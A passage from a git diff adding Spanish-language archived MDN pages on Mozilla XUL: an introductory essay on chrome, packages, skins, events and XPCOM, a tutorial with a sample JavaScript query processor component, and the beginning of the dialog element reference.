+<p>Esto especifica un chrome para que pueda ser cargado por el motor de renderizado Gecko. En el ejemplo anterior, el chrome es simplemente un fichero de apariencia cargado en el fichero XUL, aunque el chrome puede además cargar otros chromes, como cuando un menuitem de una ventana muestra un nuevo chrome:</p>
+<pre class="eval">&lt;menuitem
+  value="Mozilla Help"
+  oncommand="window.openDialog('<a class="external" rel="freelink">chrome://help/content/help.xul</a>',
+                               '_blank',
+                               'chrome,all,dialog=no')" /&gt;
+</pre>
+<p>En el ejemplo anterior, la url chrome se usa para apuntar a un chrome dentro de la jerarquía de paquetes de la aplicación Mozilla. Existe un chrome
+ <i>
+  Help</i>
+ definido en mozilla/bin/chrome/help que es invocado desde el menú de Ayuda. Nótese que cuando no se especifica el nombre de fichero en la ruta del directorio del chrome se supone que dicho nombre de fichero coincide con el del paquete. En otras palabras, una url chrome como el apuntador global de antes pediría un fichero llamado global.css y el apuntador de ayuda anterior podría ser reescrito como '<a class="external" rel="freelink">chrome://help/content</a>' dado que el nombre del paquete es "help".</p>
+<h3 id="Ver_otros_chromes_que_no_son_de_Mozilla" name="Ver_otros_chromes_que_no_son_de_Mozilla">Ver otros chromes que no son de Mozilla</h3>
+<p>Existe un modificador especial que puede ser usado al iniciar Mozilla con algún otro chrome diferente al predeterminado. Cuando Mozilla es ejecutado desde la línea de comandos con el modificador <code>-chrome</code>, se puede especificar el chrome que se quiera, como el del anterior ejemplo.</p>
+<pre class="eval">mozilla -chrome <a class="external" rel="freelink">chrome://help/content/help.xul</a>
+</pre>
+<p>Esto mostrará el paquete de ayuda mencionado anteriormente como un chrome
+ <i>
+  independiente</i>
+ . Esta opción especial te permite crear y acceder a chromes independientes del navegador Mozilla y es un punto de inicio para explicar las posibilidades de XUL como plataforma más alla del simple rediseño del navegador.</p>
+<h2 id="Paquetes" name="Paquetes">Paquetes</h2>
+<p>Un paquete es de algún modo parecido a un chrome pero específico para la arquitectura de Mozilla. Un paquete es un trozo de código de interfaz que se ubica en un lugar en particular dentro de la jerarquía de paquetes de Mozilla. Como un chrome, dicho trozo generalmente alberga contenido XUL, información de apariencia CSS y gráficos, cadenas de configuración regional y quizá algo de código específico para la plataforma. El navegador es un paquete definido en mozilla/bin/chrome/navigator, la parte de correo y noticias es un paquete situado en mozilla/bin/chrome/mailnews/, etc... El directorio de cada paquete tiene tres subdirectorios: content, skin y locale; en el que se ubican el XUL, el CSS y la información de configuración regional, respectivamente:</p>
+<pre class="eval">navigator/
+  content/
+    default/
+      navigator.xul
+      ...
+  skin/
+    default/
+      navigator.css
+      nav-icon.gif
+      ...
+  locale/
+    US-en/
+      navigator.dtd
+</pre>
+<p>El directorio predeterminado (default) subyacente de cada uno de esos subdirectorios del paquete principal se asume en la url chrome (p.e.: <a class="external" rel="freelink">chrome://help/content/help.xul</a> no incluye un directorio predeterminado como parte de la url, pese a que dicho directorio exista en la estructura real). Cuando se crean diferentes chromes para un paquete, se puede crear un directorio subyacente al directorio content cuyo contenido será cargado en lugar del predeterminado. Por ejemplo, si se quiere crear una nueva apariencia con la que dotar al paquete navigator se puede crear un subdirectorio bajo navigator/skin/ cuyo contenido sea cargado en lugar del predeterminado. Así, la estructura quedaría:</p>
+<pre class="eval">navigator/
+  content/
+    default/
+      navigator.xul
+      ...
+  skin/
+    default/
+      navigator.css
+      nav-icon.gif
+      ...
+      <b>myNewSkin/</b>
+        newskin.css
+        newgifs.gif
+        ...
+  locale/
+    US-en/
+      navigator.dtd
+</pre>
+<p>Para cargar la información del chrome guardada en el paquete del nuevo directorio como el de antes, se puede usar la siguiente url chrome:</p>
+<pre class="eval"><a class="external" rel="freelink">chrome://navigator/skin/myNewSkin/newskin.css</a>
+</pre>
+<p>que cargará los gráficos de dicho subdirectorio cuando se necesiten:</p>
+<h2 id="Apariencia" name="Apariencia">Apariencia</h2>
+<p>La apariencia es el conjunto de CSS y gráficos que proporcionan el aspecto o presentan a XUL. XUL por sí mismo contiene muy poca información sobre cómo deben de presentarse los controles en la interfaz. Antes incluso de que se aplique la apariencia global (la cual es cargada en casi cada fichero XUL que se ve en Mozilla y cuya ausencia de los propios ficheros XUL puede hacer que se muestren de modo extraño, sin sentido, invisibles, o todo a la vez), el fichero xul.css es cargado para proporcionar algo de información de presentación muy básica para los controles comunes. Por todo esto, CSS es una parte vital de lo que hace a XUL lo que es, especialmente con el llegada de CSS 2 y sus nuevas capacidades de posicionamiento.</p>
+<p>Los cambios de apariencia son más apropiados cuando se trata de cambiar dinámicamente la apariencia general de una aplicación. Pese a que esto aún no existe en el navegador, muy pronto será posible cambiar por completo el aspecto de la aplicación dinámicamente aunque sólo para ampliar la apariencia definida en el global.css principal o en otra apariencia global. Cuando se crean estilos en las etiquetas &lt;tags&gt;, como atributos de estilo para elementos individuales, o en ficheros CSS personalizados se está rompiendo la capacidad de Gecko para dotar de apariencia a la aplicación a la que pertenece el XUL.</p>
+<h2 id="Controles" name="Controles">Controles</h2>
+<p>Los controles (widgets en inglés) son las piezas que permiten ser ensambladas para construir un interfaz. Los menús, las barras de herramientas, los botones y las barras de desplazamiento son controles y como tales son piezas de propósito general al igual que las cajas (box) y las cajas de relleno (spring). Dichos controles pueden ser creados y ubicados dentro de un fichero XUL como elementos simples: <code>&lt;menu&gt;</code>, <code>&lt;toolbar&gt;</code>, etc... La sintaxis para estos elementos está basada en su mayoría en XML. De modo colectivo, estos controles son también conocidos como el XPToolkit.</p>
+<h2 id="Modelos_de_objetos_DOM_y_AOM" name="Modelos_de_objetos:_DOM_y_AOM">Modelos de objetos: DOM y AOM</h2>
+<p>El Modelo de Objetos de Documento (DOM) es la representación de un documento como una serie de objetos interactivos mediante código. Cuando un lenguaje de script como JavaScript accede a las diversas partes de un documento HTML, lo hace a través del DOM. Las partes del documento, tales como la cabecera, los enlaces, el cuerpo..., cualquier etiqueta está disponible como nodos cuyos atributos pueden ser leídos y establecidos. Desafortunadamente, existen diferentes modelos de objetos de documento correspondientes a los diferentes tipos de documentos y también a las diferentes nociones propietarias sobre las que un documento debería ser accedido mediante un programa. El <a class="external" href="http://www.w3c.org">W3C</a> ha estandarizado un modelo de objetos de documento en concreto y ya tiene una recomendación candidata para una versión de actualización. Este es el DOM reflejado en XUL y en el navegador Mozilla. El DOM asienta el objeto window en el más alto nivel del árbol de nodos. El objeto window tiene nodos hijos como el objeto document, el objeto history que almacena las páginas que el usuario ha visitado, nodos de marcos, etc... siendo todos ellos accesibles mediante un programa.</p>
+<p>Con las dramáticas mejoras en el modelo de objetos y el poder del DOM 2 del W3C, el concepto del DOM se ver forzado más allá del más abstracto DHTML. Dado que cualquier desarrollo web dinámico es dependiente una vez el programa accede al documento web (o a la interfaz XUL), y dado que el DOM es un estándar y las primeras nociones del HTML dinámico no, el término "DOM" es usado como sinónimo por o en lugar de términos como "HTML dinámico" o "DHTML".</p>
+<p>AOM significa modelo de objetos de aplicación y es una extensión del DOM hasta la interfaz definida en XUL. Mientras que HTML es reflejado en el DOM en forma de nodos como
+ <i>
+  link</i>
+ ,
+ <i>
+  layer</i>
+ e
+ <i>
+  img</i>
+ , XUL es reflejado en el modelo de objetos de aplicación en la jerarquía de los controles XUL: browser, menu, menuitem, etc... El DOM y el AOM forman una especie de evolución, siendo el conjunto total manipulable desde los estándares sobre los que XUL está basado.</p>
+<h2 id="Casi_sin.C3.B3nimos_de_XUL" name="Casi_sin.C3.B3nimos_de_XUL">Casi sinónimos de XUL</h2>
+<p>Existe una gran confusión sobre las palabras que comienzan con "X" en el proyecto de código abierto de Mozilla. La sección <a href="#Mozilla_XPArchitecture">Arquitectura XP de Mozilla</a> que se verá más adelante describe XPCOM, XPIDL y XPConnect; tres tecnologías relacionadas de alguna forma para acceder al código de la aplicación desde la interfaz. Esta sección explica XUL, XPToolkit y XPFE, que son de algún modo sinónimos y a la vez diferentes.</p>
+<p>En pocas palabras, XUL es el lenguaje basado en XML usado para crear interfaces, XPToolkit es el conjunto de controles XUL (menus, toolbars, etc...) utilizados realmente para este propósito: ser los ladrillos de la interfaz, y XPFE es la parte frontal multiplataforma que ha sido creada a partir de XPToolkit.</p>
+<p>Las diferencias son significativas: XUL es el universo de elementos, atributos, sintaxis, reglas y relaciones mientras que el XPToolkit es en realidad un counjunto finito de elementos específicos para el interfaz creados en XUL. EL XPFE es lo que ha sido creado fuera del XPToolkit. Una pobre relación análoga para XUL, XPToolkit y XPFE puede ser la que forman HTML, las etiquetas HTML y una página web, respectivamente.</p>
+<h2 id="Partes_XUL" name="Partes_XUL">Partes XUL</h2>
+<p>La gente se confunde a veces con la sintaxis que describe las partes de un control. Para un control como el menú que se muestra a continuación,
+ <i>
+  menu</i>
+ es el elemento y tanto
+ <i>
+  value</i>
+ como
+ <i>
+  id</i>
+ son atributos.</p>
+<pre class="eval"><b>&lt;menu id="file" value="File" &gt;</b>
+  &lt;popup&gt;
+    &lt;menuitem value="New" onclick="CreateNewDoc()" /&gt;
+    &lt;menuitem value="Open" onclick="OpenDoc()" /&gt;
+    &lt;menuitem value="Close" onclick="CloseDoc()" /&gt;
+  &lt;/popup&gt;
+<b>&lt;/menu&gt;</b>
+</pre>
+<p>El elemento da nombre al item, el control, mientras que los atributos describen características de dicho elemento, tales como su nombre, su estilo, etc... En la jerga orientada a objetos, el elemento es análogo al propio objeto mientras que los atributos son como propiedades. Los atributos tienen un valor asociado a él (tales como la cadena "file" para el atributo id en el ejemplo anterior). Nótese que el elemento
+ <i>
+  menu</i>
+ incluye tanto una etiqueta de apertura al principio como una de cierre al final del ejemplo. De alguna forma, el elemento
+ <i>
+  menu</i>
+ engloba tanto al él mismo como a sus hijos, los elementos
+ <i>
+  menuitem</i>
+ y el elemento
+ <i>
+  popup</i>
+ .</p>
+<h2 id="Eventos" name="Eventos">Eventos</h2>
+<p>Los eventos son también origen de confusión para muchos desarrolladores inexpertos. De hecho, ni yo mismo estoy seguro de comprenderlos del todo pero aquí va una explicación simple de lo que son los eventos y de cómo utilizarlos, básicamente, en una interfaz basada en eventos como la creada en XUL. Los eventos son mensajes que son enviados desde un objeto cuando dicho objeto realiza alguna acción. Por ejemplo, un documento provoca el evento
+ <i>
+  load</i>
+ cuando es cargado en un navegador. El evento
+ <i>
+  click</i>
+ es provocado por un botón cuando es pulsado.</p>
+<p>Si no se hace nada con estos eventos, entonces probablemente nunca se sabrá nada de ellos. Los documentos serán cargados, los botones serán pulsados y los enlaces serán sobrevolados... y los eventos serán provocados para cada una de esas acciones de modo imperceptible. En cambio si se escriben
+ <i>
+  manejadores de eventos</i>
+ dentro de
+ <i>
+  escuchadores de eventos</i>
+ como se explicará en breve, se podrán usar estos eventos para realizar otras acciones. El uso de eventos para disparar otros acciones más explícitas explica vagamente lo que es un modelo de eventos.</p>
+<p>¿Dónde exactamente están estos eventos provocados? ¿Provocados por quién? Los eventos que son lanzados por un objeto, emergen como una
+ <i>
+  burbuja</i>
+ a través del modelo jerárquico que es el DOM (o el AOM) nodo a nodo. Dichos eventos pueden ser manejados en cualquier punto de la jerarquía (incluyendo el mismo nodo en el que es lanzado). Si nadie en un nivel en particular de la jerarquía está interesado en el evento, entonces el evento continúa
+ <i>
+  emergiendo</i>
+ al siguiente nivel superior hasta llegar a lo más alto de la jerarquía.</p>
+<p>El término no es usado con frecuencia, pero un
+ <i>
+  escuchador de eventos</i>
+ es un atributo especial de un objeto que escucha sus propios eventos. El documento, por ejemplo, tiene un escuchador de eventos <code>onload</code> para escuchar a su evento <code>load</code>. Los botones XUL tienen escuchadores de eventos <code>onclick</code>. Los escuchadores de eventos son algo realmente útil: en lugar de usarlos se podría detectar cuándo un objeto ha disparado un evento, luego averiguar de qué evento se trataba y luego tratar el evento como respuesta, pero el escuchador de eventos proporciona un mecanismo fácil para escribir manejadores de eventos para eventos tanto comunes como específicos.</p>
+<p>Un manejador de eventos es un retal de código que se escribe en respuesta a un evento. Un manejador de evento <code>onload</code> viene a decir que cuando el documento se cargue, el manejador será llamadao. Y el atributo escuchador de evento proporciona un lugar muy apropiado en el que escribir manejadores de eventos (de hecho es tan apropiado que el término
+ <i>
+  manejador de evento</i>
+ es frecuentemente usado para describir tanto al atributo escuchador de eventos como al código manejador de eventos). Para crear un manejador de eventos, sólo hay que escribir el código que se quiere que sea ejecutado dentro del escuchador de eventos apropiado:</p>
+<pre class="eval">&lt;menuitem value="Púlsame" onclick="alert('Evento manejado.')" /&gt;
+</pre>
+<p>Esto sigue la explicación de antes de que los manejadores de eventos pueden ser escritos para eventos que son lanzados en algún nivel inferior en la jerarquía. Un menubar en XUL, por ejemplo, puede contener manejadores de eventos para los eventos lanzados por sus menuitems hijos.</p>
+<h2 id="Arquitectura_XP_de_Mozilla" name="Arquitectura_XP_de_Mozilla">Arquitectura XP de Mozilla</h2>
+<p>Obviamente, Mozilla es mucho más que una simple interfaz. Es multiplataforma basado en los estándares y, de algún modo, los manejadores de eventos escritos en JavaScript y que residen en la interfaz XUL se están volviendo muy importantes en el núcleo de la aplicación.</p>
+<p>Cosas como interfaces para sockets, edición, correo/noticias, seguridad... Las tecnologías que hacen esto posible son quizá las menos comprendidas del conglomerado de innovaciones que es Mozilla. Además de los programar estas cosas tan importantes en C++ y compilarlas plataforma a plataforma, los arquitectos y desarrolladores de Mozilla utilizan tres tecnologías
+ <i>
+  XP</i>
+ que unen el núcleo con la interfaz.</p>
+<p>XPCOM no es un lenguaje de programación sino una aproximación a la programación (en C++) que proporciona un auténtico modelo de objetos de componentes multiplataforma, de donde la tecnología toma su nombre. Basado en COM, XPCOM proporciona un lenguaje e interfaces independientes de la plataforma que otros objetos pueden usar para acceder a sus servicios. XPCOM refuerza las reglas para diseñar y compilar que hacen posible el uso de servicios de un objeto sin conocer nada sobre la implementación.</p>
+<p>XPIDL, el lenguaje de definición de interfaces multiplataforma, es un lenguaje en el que estas interfaces asistidas por XPCOM pueden ser descritos. Usar XPIDL para describir las interfaces XPCOM hace que éstas estén disponibles en ficheros de cabecera especiales. Finalmente, XPConnect es la tecnología que conecta estas interfaces XPCOM/XPIDL con JavaScript, el lenguaje de script que utiliza XUL. La unión de estas tres tecnologías multiplataforma se ubica en mitad de una arquitectura que tiene este aspecto:</p>
+<p><img align="none" alt="Bridging C++ and JavaScript"></p>
+<p>Autor: <a class="link-mailto" href="mailto:oeschger@netscape.com">Ian Oeschger</a><br>
+ Otros documentos: <a class="external" href="http://www.mozilla.org/docs/jargon.html">Mozilla Jargon File</a> y <a href="es/Introducci%c3%b3n_a_XUL">Introducción a XUL</a></p>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+ <ul>
+  <li>Author(s): <a class="link-mailto" href="mailto:oeschger@netscape.com">Ian Oeschger</a></li>
+  <li>Last Updated Date: April 16, 2000</li>
+  <li>Copyright Information: Copyright (C) <a class="link-mailto" href="mailto:oeschger@netscape.com">Ian Oeschger</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/archive/mozilla/xul/cómo_implementar_un_componente_procesador_de_consultas_xul/index.html b/files/es/archive/mozilla/xul/cómo_implementar_un_componente_procesador_de_consultas_xul/index.html
new file mode 100644
index 0000000000..f53b35c6a3
--- /dev/null
+++ b/files/es/archive/mozilla/xul/cómo_implementar_un_componente_procesador_de_consultas_xul/index.html
@@ -0,0 +1,187 @@
+---
+title: Cómo implementar un componente procesador de consultas XUL
+slug: Archive/Mozilla/XUL/Cómo_implementar_un_componente_procesador_de_consultas_XUL
+translation_of: Archive/Mozilla/XUL/How_to_implement_a_custom_XUL_query_processor_component
+---
+<p>El servicio XUL apoya el uso de plantillas para crear un bloque de contenidos a partir de una consulta a una fuente de datos. La <a href="es/Guia_de_Plantillas_XUL"> Guia de Plantillas XUL</a> presenta una gran fuente de información detallada acerca del uso de las plantillas XUL. El servicio XUL proporciona procesadores de consulta de plantillas para RDF, XML y SQL (<a href="es/Almacenamiento">mozStorage</a>). Este sistema de plantillas también da soporte a la creación de procesadores de consultas personalizadas. Los procesadores de consultas personalizadas son componentes XPCOM que deben implementar la interfaz <a href="es/NsIXULTemplateQueryProcessor">nsIXULTemplateQueryProcessor</a> y seguir algunos de los criterios que indican cuándo se deben registrar los mismos.</p>
+
+<p>En este ejemplo, crearemos un <a href="es/C%c3%b3mo_crear_sencillo_componente_XPCOM_en_JavaScript">sencillo componente XPCOM en JavaScript</a>. Dicho componente mantendrá una pequeña selección de objetos de JavaScript en su fuente de datos. En la práctica, se usaría una fuente propia de datos personalizada.</p>
+
+<p>A continuación presentamos un ejemplo del posible aspecto que podría tener nuestro servicio de XUL al utilizar un procesador de consultas personalizado:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+&lt;window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+    &lt;grid&gt;
+        &lt;columns&gt;
+            &lt;column flex="1"/&gt;
+            &lt;column flex="3"/&gt;
+            &lt;column flex="2"/&gt;
+            &lt;column flex="1"/&gt;
+        &lt;/columns&gt;
+
+        &lt;rows datasources="dummy" ref="." querytype="simpledata"&gt;
+            &lt;template&gt;
+                &lt;row uri="?"&gt;
+                    &lt;label value="?name"/&gt;
+                    &lt;label value="?age"/&gt;
+                    &lt;label value="?hair"/&gt;
+                    &lt;label value="?eye"/&gt;
+                &lt;/row&gt;
+            &lt;/template&gt;
+        &lt;/rows&gt;
+    &lt;/grid&gt;
+&lt;/window&gt;
+</pre>
+
+<p>Algunas cosas a tener en cuenta. En realidad no estamos utilizando las <code>fuentes de datos</code> en nuestro componente de ejemplo, por lo que lo configuraremos con un valor no válido. Un hilo vacío también valdría. El tipo de <code>consulta</code> es importante. Se usa para crear un caso de nuestro objeto XPCOM. La contracción de la identidad de nuestro componente XPCOM debería tener la forma de <code>"@mozilla.org/xul/xul-query-processor;1?name=xxx"</code>, donde las <strong>xxx</strong> representan el <code>tipo de consulta</code> utilizado en el bloque de plantillas XUL. A continuación mostramos nuestro ejemplo de procesador de consultas XPCOM de JavaScript:</p>
+
+<pre>Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
+
+
+// basic wrapper for nsIXULTemplateResult
+function TemplateResult(aData) {
+  this._data = aData;
+  // just make a random number for the id
+  this._id = Math.random(100000).toString();
+}
+
+TemplateResult.prototype = {
+  QueryInterface: XPCOMUtils.generateQI([Components.interfaces.nsIXULTemplateResult]),
+
+  // private storage
+  _data: null,
+
+  // right now our results are flat lists, so no containing/recursion take place
+  isContainer: false,
+  isEmpty: true,
+  mayProcessChildren: false,
+  resource: null,
+  type: "simple-item",
+
+  get id() {
+    return this._id;
+  },
+
+  // return the value of that bound variable such as ?name
+  getBindingFor: function(aVar) {
+    // strip off the ? from the beginning of the name
+    var name = aVar.toString().slice(1);
+    return this._data[name];
+  },
+
+  // return an object instead of a string for convenient comparison purposes
+  // or null to say just use string value
+  getBindingObjectFor: function(aVar) {
+    return null;
+  },
+
+  // called when a rule matches this item.
+  ruleMatched: function(aQuery, aRuleNode) { },
+
+  // the output for a result has been removed and the result is no longer being used by the builder
+  hasBeenRemoved: function() { }
+};
+
+
+// basic wrapper for nsISimpleEnumerator
+function TemplateResultSet(aArrayOfData) {
+  this._index = 0;
+  this._array = aArrayOfData;
+}
+
+TemplateResultSet.prototype = {
+  QueryInterface: XPCOMUtils.generateQI([Components.interfaces.nsISimpleEnumerator]),
+
+  hasMoreElements: function() {
+    return this._index &lt; this._array.length;
+  },
+
+  getNext: function() {
+    return new TemplateResult(this._array[this._index++]);
+  }
+};
+
+
+// The query processor class - implements nsIXULTemplateQueryProcessor
+function TemplateQueryProcessor() {
+  // our basic list of data
+  this._data = [
+                {name: "mark", age: 36, hair: "brown", eye: "brown"},
+                {name: "bill", age: 25, hair: "red", eye: "black"},
+                {name: "joe", age: 15, hair: "blond", eye: "blue"},
+                {name: "jimmy", age: 65, hair: "gray", eye: "dull"}
+               ];
+}
+
+TemplateQueryProcessor.prototype = {
+  QueryInterface: XPCOMUtils.generateQI([Components.interfaces.nsIXULTemplateQueryProcessor]),
+  classDescription: "Sample XUL Template Query Processor",
+  classID: Components.ID("{282cc4ea-a49c-44fc-81f4-1f03cbb7825f}"),
+  contractID: "@mozilla.org/xul/xul-query-processor;1?name=simpledata",
+
+  getDatasource: function(aDataSources, aRootNode, aIsTrusted, aBuilder, aShouldDelayBuilding) {
+    // TODO: parse the aDataSources variable
+    // for now, ignore everything and let's just signal that we have data
+    return this._data;
+  },
+
+  initializeForBuilding: function(aDatasource, aBuilder, aRootNode) {
+    // perform any initialization that can be delayed until the content builder
+    // is ready for us to start
+  },
+
+  done: function() {
+    // called when the builder is destroyed to clean up state
+  },
+
+  compileQuery: function(aBuilder, aQuery, aRefVariable, aMemberVariable) {
+    // outputs a query object.
+    // eventually we should read the &lt;query&gt; to create filters
+    return this._data;
+  },
+
+  generateResults: function(aDatasource, aRef, aQuery) {
+    // preform any query and pass the data to the result set
+    return new TemplateResultSet(this._data);
+  },
+
+  addBinding: function(aRuleNode, aVar, aRef, aExpr) {
+    // add a variable binding for a particular rule, which we aren't using yet
+  },
+
+  translateRef: function(aDatasource, aRefstring) {
+    // if we return null, everything stops
+    return new TemplateResult(null);
+  },
+
+  compareResults: function(aLeft, aRight, aVar) {
+    // -1 less, 0 ==, +1 greater
+    if (aLeft &lt; aRight) {
+      return -1;
+    }
+    else if (aLeft &gt; aRight) {
+      return  1;
+    }
+    else {
+      return 0;
+    }
+  }
+};
+
+
+var components = [TemplateQueryProcessor];
+
+function NSGetModule(compMgr, fileSpec) {
+  return XPCOMUtils.generateModule(components);
+}
+</pre>
+
+<p>Nuestro ejemplo de procesador de consultas es muy fácil. Notas aclaratorias:</p>
+
+<ul>
+ <li>Estamos usando el <code>getBindingFor</code> en vez del <code>getBindingObjectFor</code> para simplificar así el código. La variable introducida en el <code>getBindingFor</code> todavía conserva las “?” por lo que debéis aseguraros de introducirla de forma correcta.</li>
+ <li>No se usarán cualquiera de los elementos <code>&lt;query/&gt;</code> o <code>&lt;rule/&gt;</code> en el bloque de plantillas de XUL. Se podrá hacer uso de éstas para apoyar el filtrado de fuentes de datos.</li>
+ <li>No estamos manejando <code>fuentes de datos</code>, sino que en su lugar, estamos introduciendo a mano el componente. Se podría ampliar fácilmente este ejemplo para manejar varias <code>fuentes de datos</code> a través de la comprobación del valor de las mismas en el <code>getDatasource</code> y en el <code>initializeForBuilding</code>.</li>
+ <li>No se usarán cualquiera de los elementos <code>&lt;query/&gt;</code> o <code>&lt;rule/&gt;</code> en el bloque de plantillas de XUL. Se podrá hacer uso de éstas para apoyar el filtrado de fuentes de datos.</li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/dialog/index.html b/files/es/archive/mozilla/xul/dialog/index.html
new file mode 100644
index 0000000000..90b8773539
--- /dev/null
+++ b/files/es/archive/mozilla/xul/dialog/index.html
@@ -0,0 +1,383 @@
+---
+title: dialog
+slug: Archive/Mozilla/XUL/Dialog
+translation_of: Archive/Mozilla/XUL/dialog
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/es/docs/XUL/Elementos">Referencia de XUL</a>    [
+ <a href="#Examples">Ejemplos</a> |
+ <a href="#Attributes">Atributos</a> |
+ <a href="#Properties">Propiedades</a> |
+ <a href="#Methods">Methoden</a> |
+ <a href="#Related">Métodos</a> ]
+</span></div>
+
+<p>Este elemento debería utilizarse en lugar del elemento <code><a href="/es/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> para cuadros de diálogo. El atributo <code id="a-buttons"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/buttons">buttons</a></code> puede utilizarse para configurar aquellos botones que deberían aparecer en el cuadro de diálogo. Estos botones serán colocados en el lugar correcto para la plataforma del usuario.</p>
+
+<p>Hay más información disponible en <a href="/en/XUL_Tutorial/Creating_Dialogs" title="en/XUL_Tutorial/Creating_Dialogs">XUL Tutorial</a> y en <a href="/en/Code_snippets/Dialogs_and_Prompts" title="en/Code_snippets/Dialogs_and_Prompts">Dialogs and prompts</a> (fragmentos de código).</p>
+
+<dl>
+ <dt>Atributos</dt>
+ <dd><a href="#a-buttonaccesskeyaccept">buttonaccesskeyaccept</a>, <a href="#a-buttonaccesskeycancel">buttonaccesskeycancel</a>, <a href="#a-buttonaccesskeydisclosure">buttonaccesskeydisclosure</a>, <a href="#a-buttonaccesskeyextra1">buttonaccesskeyextra1</a>, <a href="#a-buttonaccesskeyextra2">buttonaccesskeyextra2</a>, <a href="#a-buttonaccesskeyhelp">buttonaccesskeyhelp</a>, <a href="#a-buttonalign">buttonalign</a>, <a href="#a-buttondir">buttondir</a>, <a href="#a-buttondisabledaccept">buttondisabledaccept</a>, <a href="#a-buttonlabelaccept">buttonlabelaccept</a>, <a href="#a-buttonlabelcancel">buttonlabelcancel</a>, <a href="#a-buttonlabeldisclosure">buttonlabeldisclosure</a>, <a href="#a-buttonlabelextra1">buttonlabelextra1</a>, <a href="#a-buttonlabelextra2">buttonlabelextra2</a>, <a href="#a-buttonlabelhelp">buttonlabelhelp</a>, <a href="#a-buttonorient">buttonorient</a>, <a href="#a-buttonpack">buttonpack</a>, <a href="#a-buttons">buttons</a>, <a href="#a-defaultButton">defaultButton</a>, <a href="#a-ondialogaccept">ondialogaccept</a>, <a href="#a-ondialogcancel">ondialogcancel</a>, <a href="#a-ondialogdisclosure">ondialogdisclosure</a>, <a href="#a-ondialogextra1">ondialogextra1</a>, <a href="#a-ondialogextra2">ondialogextra2</a>, <a href="#a-ondialoghelp">ondialoghelp</a>, <a href="#a-title">title</a></dd>
+</dl>
+
+<dl>
+ <dt>Propiedades</dt>
+ <dd><a href="#p-buttons">buttons</a>, <a href="#p-defaultButton">defaultButton</a></dd>
+</dl>
+
+<dl>
+ <dt>Métodos</dt>
+ <dd><a href="#m-acceptDialog">acceptDialog</a>, <a href="#m-cancelDialog">cancelDialog</a>, <a href="#m-centerWindowOnScreen">centerWindowOnScreen</a>, <a href="#m-getButton">getButton</a>, <a href="#m-moveToAlertPosition">moveToAlertPosition</a></dd>
+</dl>
+
+<h3 id="Examples" name="Examples">Ejemplos</h3>
+
+<div class="float-right"><img alt="Image:XUL_ref_dialog.png" class="internal" src="/@api/deki/files/453/=XUL_ref_dialog.png"></div>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?&gt;
+&lt;dialog id="donothing" title="Dialog example"
+   xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+   buttons="accept,cancel"
+   buttonlabelcancel="Cancel"
+   buttonlabelaccept="Save"
+   ondialogaccept="return doOK();"
+   ondialogcancel="return doCancel();"&gt;
+
+    &lt;dialogheader title="Options" description="My preferences"/&gt;
+    &lt;groupbox&gt;
+      &lt;caption label="Colour"/&gt;
+      &lt;radiogroup&gt;
+        &lt;radio label="Red"/&gt;
+        &lt;radio label="Green" selected="true"/&gt;
+        &lt;radio label="Blue"/&gt;
+      &lt;/radiogroup&gt;
+      &lt;label value="Nickname"/&gt;
+      &lt;textbox /&gt;
+   &lt;/groupbox&gt;
+&lt;/dialog&gt;
+</pre>
+
+<h3 id="Attributes" name="Attributes">Atributos</h3>
+
+<p> </p><div id="a-activetitlebarcolor">
+
+
+<dl>
+ <dt><code id="a-activetitlebarcolor"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/activetitlebarcolor">activetitlebarcolor</a></code> </dt>
+ <dd>Type: <em>color string</em></dd>
+ <dd>Specify background color of the window's titlebar when it is active (foreground). Moreover this hides separator between titlebar and window contents. <em>This only affects Mac OS X.</em></dd>
+</dl>
+</div> <div id="a-buttonaccesskeyaccept">
+
+<dl>
+  <dt>
+    <code id="a-buttonaccesskeyaccept"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonaccesskeyaccept">buttonaccesskeyaccept</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The access key to use for the "accept" button.</dd>
+</dl>
+</div> <div id="a-buttonaccesskeycancel">
+
+<dl>
+  <dt>
+    <code id="a-buttonaccesskeycancel"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonaccesskeycancel">buttonaccesskeycancel</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The access key to use for the "cancel" button.</dd>
+</dl>
+</div> <div id="a-buttonaccesskeydisclosure">
+
+<dl>
+  <dt>
+    <code id="a-buttonaccesskeydisclosure"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The access key to use for the "disclosure" button.</dd>
+</dl>
+</div> <div id="a-buttonaccesskeyextra1">
+
+<dl>
+  <dt>
+    <code id="a-buttonaccesskeyextra1"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonaccesskeyextra1">buttonaccesskeyextra1</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The access key to use for the first extra button.</dd>
+</dl>
+</div> <div id="a-buttonaccesskeyextra2">
+
+
+<dl>
+ <dt><code id="a-buttonaccesskeyextra2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonaccesskeyextra2">buttonaccesskeyextra2</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The access key to use for the second extra button.</dd>
+</dl>
+</div> <div id="a-buttonaccesskeyhelp">
+
+<dl>
+  <dt>
